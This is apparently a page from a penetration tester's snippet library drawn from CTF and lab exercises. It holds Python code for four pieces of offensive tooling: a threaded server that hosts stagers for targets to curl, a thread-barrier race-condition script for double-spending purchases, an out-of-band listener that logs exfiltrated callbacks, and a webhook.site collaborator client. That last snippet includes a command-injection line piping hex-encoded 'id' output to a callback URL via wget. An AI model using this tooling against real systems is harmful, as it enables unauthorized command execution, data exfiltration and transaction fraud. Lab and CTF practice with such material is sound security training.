Concurrency & Infra
Servers and primitives that catch callbacks: a threaded HTTP server, OOB capture, race-condition barriers, and hosted collaborators.
HTTP server on a daemon thread
Serves the cwd so the target can curl the stager. daemon=True lets the script exit cleanly.
import threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
def start_http_server(port):
try:
srv = HTTPServer(("0.0.0.0", port), SimpleHTTPRequestHandler)
except OSError:
print("[-] HTTP server port already in use")
return
print(f"[+] HTTP server on {port}")
srv.serve_forever()
t = threading.Thread(target=start_http_server, args=(8000,), daemon=True)
t.start()Find by: http server, serve files, daemon thread, simplehttprequesthandler, host payload, curl bash, stager, background, threading, port · Source: PG/XposedAPI, Hetemit
Race condition — threading.Barrier (single-packet-ish)
Barrier(N) holds every worker until all N are armed, then releases them together to hit the TOCTOU window.
A race is won when N requests all land in the gap between a check and the update (e.g. “do you still have a voucher?” then “spend it”) before any of them commits. Barrier(N) parks every worker until all N threads are built and waiting, then releases them in the same instant to maximize overlap in that TOCTOU window. The sessions/cookies are built before the barrier so only the racing request itself is timed.
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
THREADS = 20
barrier = threading.Barrier(THREADS)
def fire(cookie):
barrier.wait() # all threads release simultaneously
return requests.post(URL, data={"buy": 1}, cookies={"PHPSESSID": cookie},
verify=False, timeout=5)
with ThreadPoolExecutor(max_workers=THREADS) as ex:
futs = [ex.submit(fire, c) for c in cookies]
results = [f.result() for f in as_completed(futs)]Find by: race condition, toctou, barrier, threading, concurrent, parallel requests, limit overrun, gift card, double spend, synchronize, fire together · Source: CWEE/Gift Card
OOB capture server (log callbacks & exfil)
GAP filler: catches blind SSRF/XXE/RCE callbacks. Logs method, path, headers and body of every inbound hit.
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
class Catch(BaseHTTPRequestHandler):
def _log(self):
body = self.rfile.read(int(self.headers.get("Content-Length", 0) or 0))
print(f"\n[OOB] {self.command} {self.path} from {self.client_address[0]}")
print(self.headers, end="")
if body:
print("body:", body.decode("latin1"))
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
do_GET = do_POST = do_PUT = _log
def log_message(self, *a): pass
def serve(port=8000):
HTTPServer(("0.0.0.0", port), Catch).serve_forever()
threading.Thread(target=serve, args=(8000,), daemon=True).start()Find by: oob, out of band, capture, callback, exfiltration, blind, ssrf, xxe, log requests, interaction, collaborator, listener, catch data
Hosted OOB collaborator (webhook.site — no server of your own)
No-setup OOB collaborator hosted by webhook.site — for use when the target reaches the internet but cannot reach the operator’s box (no public IP / behind NAT). The self-hosted variant is infra-oob-server.
A hosted out-of-band collaborator with zero setup — no public IP, no listener, no firewall holes. POST /token mints a fresh inbox and returns its uuid; every request that lands on https://webhook.site/{uuid} is captured and made queryable through the API. Suited to blind SSRF / XXE / OOB command injection when the target can reach the internet but cannot reach the operator’s machine (behind NAT, on the VPN with no routable IP, or simply to avoid running a server).
create_webhook mints the inbox and hands back (uuid, callback_url). callback_url is embedded as the exfil sink in the payload and the stolen value is appended as a query param (?data=VALUE). poll_webhook reads /token/{uuid}/requests?sorting=newest: data is a newest-first list of captured requests, and each request’s parsed query string sits under query, so query['data'] is exactly the appended value. The command output is hex-encoded (xxd -p -c 9999) before exfil so spaces and newlines survive the URL; the -c 9999 keeps the hex on a single line (plain xxd -p wraps at 60 hex chars and splits the exfil token), then bytes.fromhex(val).decode() on the way back. Self-hosted alternative: infra-oob-server.
import requests
import time
s = requests.Session()
WEBHOOK = 'https://webhook.site'
def create_webhook(s):
r = s.post(f'{WEBHOOK}/token', timeout=10)
uuid = r.json()['uuid']
callback_url = f'{WEBHOOK}/{uuid}'
print(f'[+] Collaborator URL: {callback_url}')
return uuid, callback_url
def poll_webhook(s, uuid):
poll_url = f'{WEBHOOK}/token/{uuid}/requests?sorting=newest'
while True:
data = s.get(poll_url, timeout=10).json().get('data', [])
if data:
query = data[0].get('query', {})
if query.get('data'):
return query['data'] # newest exfil value
print('[*] waiting for callback...')
time.sleep(2)
# 1) uuid, cb = create_webhook(s)
# 2) embed cb as the exfil sink in your RCE/SSRF payload, e.g.:
# wget -qO /dev/null CALLBACK?data=$(id | xxd -p -c 9999)
# hex-encode the output (xxd -p) so spaces/newlines survive the query
# string; -c 9999 stops xxd wrapping the hex onto multiple lines
# 3) val = poll_webhook(s, uuid); print(bytes.fromhex(val).decode())What the poll endpoint returns
GET /token/{uuid}/requests?sorting=newest ->
{
'data': [
{ 'method': 'GET',
'query': { 'data': '7569643d3028726f6f7429' }, # hex of 'uid=0(root)'
'url': 'https://webhook.site/<uuid>?data=...' }
]
}
poll_webhook(s, uuid) -> '7569643d3028726f6f7429'
bytes.fromhex(_).decode() -> 'uid=0(root)'Find by: oob, out of band, collaborator, webhook.site, hosted, no public ip, behind nat, no server, no listener, exfiltration, exfil, blind, callback, catch data, ssrf, xxe, blind rce, command output, poll, uuid, interactsh alternative, burp collaborator alternative, third party · Source: HTB/VoidWhispers